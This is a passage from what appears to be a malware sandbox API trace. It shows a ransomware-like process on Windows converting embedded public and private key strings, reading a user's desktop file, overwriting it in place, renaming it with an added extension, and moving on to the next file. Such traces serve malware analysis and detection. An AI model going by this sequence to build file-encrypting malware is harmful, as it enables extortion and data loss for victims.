Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0126.960] GetCurrentThreadId () returned 0xa30 [0126.960] GetCurrentThreadId () returned 0xa30 [0126.960] GetCurrentThreadId () returned 0xa30 [0126.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.961] GetCurrentThreadId () returned 0xa30 [0126.961] GetCurrentThreadId () returned 0xa30 [0126.961] GetCurrentThreadId () returned 0xa30 [0126.961] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICfZ4ZiEDHNpv.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\icfz4ziedhnpv.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.961] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.961] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.961] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x155e8 [0126.962] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.962] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x155e8, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x155e8, lpOverlapped=0x0) returned 1 [0126.966] CloseHandle (hObject=0x120) returned 1 [0126.967] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICfZ4ZiEDHNpv.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\icfz4ziedhnpv.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.971] WriteFile (in: hFile=0x120, lpBuffer=0x1f0efa0*, nNumberOfBytesToWrite=0x155e8, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f0efa0*, lpNumberOfBytesWritten=0x18f978*=0x155e8, lpOverlapped=0x0) returned 1 [0126.977] CloseHandle (hObject=0x120) returned 1 [0126.978] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICfZ4ZiEDHNpv.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\icfz4ziedhnpv.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICfZ4ZiEDHNpv.avi.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\icfz4ziedhnpv.avi.zv7un")) returned 1 [0126.980] GetCurrentThreadId () returned 0xa30 [0126.980] GetCurrentThreadId () returned 0xa30 [0126.980] GetCurrentThreadId () returned 0xa30 [0126.980] GetCurrentThreadId () returned 0xa30 [0126.980] GetCurrentThreadId () returned 0xa30 [0126.980] GetCurrentThreadId () returned 0xa30 [0126.980] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f092a0, ftCreationTime.dwHighDateTime=0x1d5e731, ftLastAccessTime.dwLowDateTime=0xc2ce4920, ftLastAccessTime.dwHighDateTime=0x1d5dd32, ftLastWriteTime.dwLowDateTime=0xc2ce4920, ftLastWriteTime.dwHighDateTime=0x1d5dd32, nFileSizeHigh=0x0, nFileSizeLow=0x82c8, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="n2KIK6waBvBzsoa2.bmp", cAlternateFileName="N2KIK6~1.BMP")) returned 1 [0126.980] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.980] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.980] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n2KIK6waBvBzsoa2.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n2kik6wabvbzsoa2.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f092a0, ftCreationTime.dwHighDateTime=0x1d5e731, ftLastAccessTime.dwLowDateTime=0xc2ce4920, ftLastAccessTime.dwHighDateTime=0x1d5dd32, ftLastWriteTime.dwLowDateTime=0xc2ce4920, ftLastWriteTime.dwHighDateTime=0x1d5dd32, nFileSizeHigh=0x0, nFileSizeLow=0x82c8)) returned 1 [0126.980] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n2KIK6waBvBzsoa2.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n2kik6wabvbzsoa2.bmp")) returned 0x20 [0126.981] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n2KIK6waBvBzsoa2.bmp", dwFileAttributes=0x80) returned 1 [0126.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.984] GetCurrentThreadId () returned 0xa30 [0126.984] GetCurrentThreadId () returned 0xa30 [0126.984] GetCurrentThreadId () returned 0xa30 [0126.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 